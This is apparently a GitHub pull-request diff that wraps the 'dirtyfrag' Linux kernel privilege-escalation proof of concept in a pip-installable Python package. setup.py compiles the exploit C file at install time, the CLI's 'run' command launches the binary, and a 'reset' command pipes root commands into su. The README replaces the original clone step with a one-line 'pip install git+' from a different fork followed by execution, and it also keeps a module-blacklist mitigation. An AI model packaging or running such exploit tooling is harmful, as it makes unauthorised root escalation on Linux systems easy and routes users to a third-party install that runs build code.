Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
37 changes: 37 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
# === C / Native Compilation Artifacts ===
/dirtyfrag/bin/dirtyfrag

# General C build outputs
*.o
*.out
*.so

# === Python / Packaging Artifacts ===
# Staging and build directories generated by setuptools / pip
build/
dist/
*.egg-info/
.eggs/

# Byte-compiled / optimized Python files
__pycache__/
*.pyc
*.pyo
*.pyd


# === Virtual Environments & Tooling ===
.venv/
venv/
env/
ENV/

# === OS & IDE Specifics ===
# macOS system files
.DS_Store

# IDEs and editors
.idea/
.vscode/
*.swp
*.swo
15 changes: 9 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,23 +22,25 @@ For detailed technical information and the timeline, [see here](assets/write-up.

# Exploiting

## One-line special
## Installation and Execution

```
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
This project provides a unified orchestration wrapper interface. You can install the toolchain directly from the remote repository and initiate the target sequence using the commands below:

```bash
pip install git+https://github.com/MohammadRaziei/dirtyfrag.git && dirtyfrag run
```

This PoC is provided as accurate information following consultation with linux-distros. Do not use it on systems that you are not authorized to test.

## Cleanup

⚠️ **Important:** After running this exploit, the page cache is contaminated. To clear the polluted page cache and ensure system stability, either run:
⚠️ **Important:** After running this exploit, the page cache is contaminated. To evict the polluted page cache, drop virtual memory caches safely, and ensure system stability, run:

```bash
echo 3 > /proc/sys/vm/drop_caches
dirtyfrag reset
```

or reboot the system.
---

# Affected Versions

Expand All @@ -60,6 +62,7 @@ This Dirty Frag has been tested on the following distribution versions.
# Mitigation

1. Use the following command to remove the modules in which the vulnerabilities occur and clear the page cache.

```bash
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
```
Expand Down
3 changes: 3 additions & 0 deletions dirtyfrag/__about__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
__version__ = "0.1.0"
__author__ = "Mohammad Raziei"
__description__ = "Multi-method Linux Kernel Exploit Framework Wrapper"
1 change: 1 addition & 0 deletions dirtyfrag/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
__version__ = "1.0.0"
94 changes: 94 additions & 0 deletions dirtyfrag/__main__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
import os
import sys
import argparse
import subprocess
from . import __about__

def get_binary_path():
"""Returns the absolute path of the compiled dirtyfrag C binary."""
current_dir = os.path.dirname(os.path.abspath(__file__))
return os.path.join(current_dir, "bin", "dirtyfrag")

def execute_dirtyfrag(passthrough_args):
"""Executes the local native dirtyfrag C executable."""
binary_path = get_binary_path()

if not os.path.exists(binary_path):
print(f"[-] Error: Compiled binary missing at {binary_path}", file=sys.stderr)
sys.exit(1)

if not os.access(binary_path, os.X_OK):
os.chmod(binary_path, 0o755)

print("[*] Initializing local exploit framework sequence...")
try:
# Pass all residual CLI arguments down to the C implementation
result = subprocess.run([binary_path] + passthrough_args)
sys.exit(result.returncode)
except KeyboardInterrupt:
print("\n[-] Operation aborted by user.")
sys.exit(0)
except Exception as e:
print(f"[-] Execution tracking error: {e}", file=sys.stderr)
sys.exit(1)

def handle_run(args, passthrough_args):
"""Router for execution targets."""
execute_dirtyfrag(passthrough_args)

def handle_reset():
"""Clears page cache, dentries, and inodes via /proc/sys/vm/drop_caches.

Directly pipes instructions into an interactive 'su' session
with zero fallback mechanisms or pre-checks.
"""
print("[*] Shifting target sequence to interactive root shell...")
try:
proc = subprocess.Popen(
["su"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)

commands = (
"echo 3 > /proc/sys/vm/drop_caches\n"
"exit\n"
)

proc.communicate(input=commands)

if proc.returncode == 0:
print("[+] Kernel caches dropped successfully via subverted su pipeline.")
else:
print("[-] Error: Direct system cache execution failed.", file=sys.stderr)
sys.exit(1)

except Exception:
sys.exit(1)


def main():
parser = argparse.ArgumentParser(
description="Unified Interface for Kernel Privilege Escalation Vulnerability Engineering Assets"
)
parser.add_argument("-v", "--version", action="version", version=f"%(prog)s {__about__.__version__}")

subparsers = parser.add_subparsers(dest="command", required=True, help="Subcommand to execute")

# 'run' subcommand
subparsers.add_parser("run", help="Initiate exploit chain orchestration")

# 'reset' subcommand
subparsers.add_parser("reset", help="Clear kernel system cache (drop_caches)")

args, passthrough_args = parser.parse_known_args()

if args.command == "run":
handle_run(args, passthrough_args)
elif args.command == "reset":
handle_reset()

if __name__ == "__main__":
main()
3 changes: 3 additions & 0 deletions pyproject.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
[build-system]
requires = ["setuptools>=64.0.0"]
build-backend = "setuptools.build_meta"
93 changes: 93 additions & 0 deletions setup.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
import os
import subprocess
import importlib.util
import shutil
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.develop import develop

current_dir = os.path.dirname(os.path.abspath(__file__))
about_path = os.path.join(current_dir, "dirtyfrag", "__about__.py")

# Securely load the metadata file using importlib
spec = importlib.util.spec_from_file_location("dirtyfrag_about", about_path)
about = importlib.util.module_from_spec(spec)
spec.loader.exec_module(about)


def compile_and_prepare_exploits(cmd_instance):
"""Compiles the C exploit and copies external scripts into the active build directory."""
# current_dir represents the static source root directory
current_dir = os.path.dirname(os.path.abspath(__file__))

# Get the dynamic target directory where setuptools is staging files for installation/wheel
# If in editable/develop mode, fall back to the source directory root
if hasattr(cmd_instance, 'build_lib') and cmd_instance.build_lib:
target_package_root = os.path.join(cmd_instance.build_lib, "dirtyfrag")
else:
target_package_root = os.path.join(current_dir, "dirtyfrag")

source_path = os.path.join(current_dir, "exp.c")
bin_dir = os.path.join(target_package_root, "bin")
output_path = os.path.join(bin_dir, "dirtyfrag")

# Ensure the installation target subdirectory structure exists
os.makedirs(bin_dir, exist_ok=True)

print(f"[*] Compiling {source_path} to staging path: {output_path}...")
compile_cmd = ["gcc", "-O2", source_path, "-o", output_path]

try:
subprocess.check_call(compile_cmd)
print("[+] Native C binary compiled and staged successfully.")
except Exception as e:
print(f"[-] Compilation failed: {e}. Ensure 'gcc' is installed.")
raise e

# Stage copy_fail_exp.py into the dynamic active target directory
copyfail_src = os.path.join(current_dir, "copy_fail_exp.py")
copyfail_dst = os.path.join(target_package_root, "copy_fail_exp.py")

if os.path.exists(copyfail_src):
print(f"[*] Copying {copyfail_src} into dynamic package distribution path...")
shutil.copyfile(copyfail_src, copyfail_dst)

class CustomInstallCommand(install):
def run(self):
compile_and_prepare_exploits(self)
super().run()

class CustomDevelopCommand(develop):
def run(self):
compile_and_prepare_exploits(self)
super().run()

setup(
name="dirtyfrag",
version=about.__version__,
description="Multi-method Linux Kernel Exploit Framework Wrapper",
packages=find_packages(),
entry_points={
"console_scripts": [
"dirtyfrag=dirtyfrag.__main__:main",
],
},
cmdclass={
"install": CustomInstallCommand,
"develop": CustomDevelopCommand,
},
package_data={
"dirtyfrag": ["bin/dirtyfrag"],
},
include_package_data=True,
classifiers=[
"Development Status :: 4 - Beta",
"Intended Audience :: Information Technology",
"Intended Audience :: Science/Research",
"Topic :: Security",
"Operating System :: POSIX :: Linux",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3 :: Only",
"Programming Language :: C",
],
)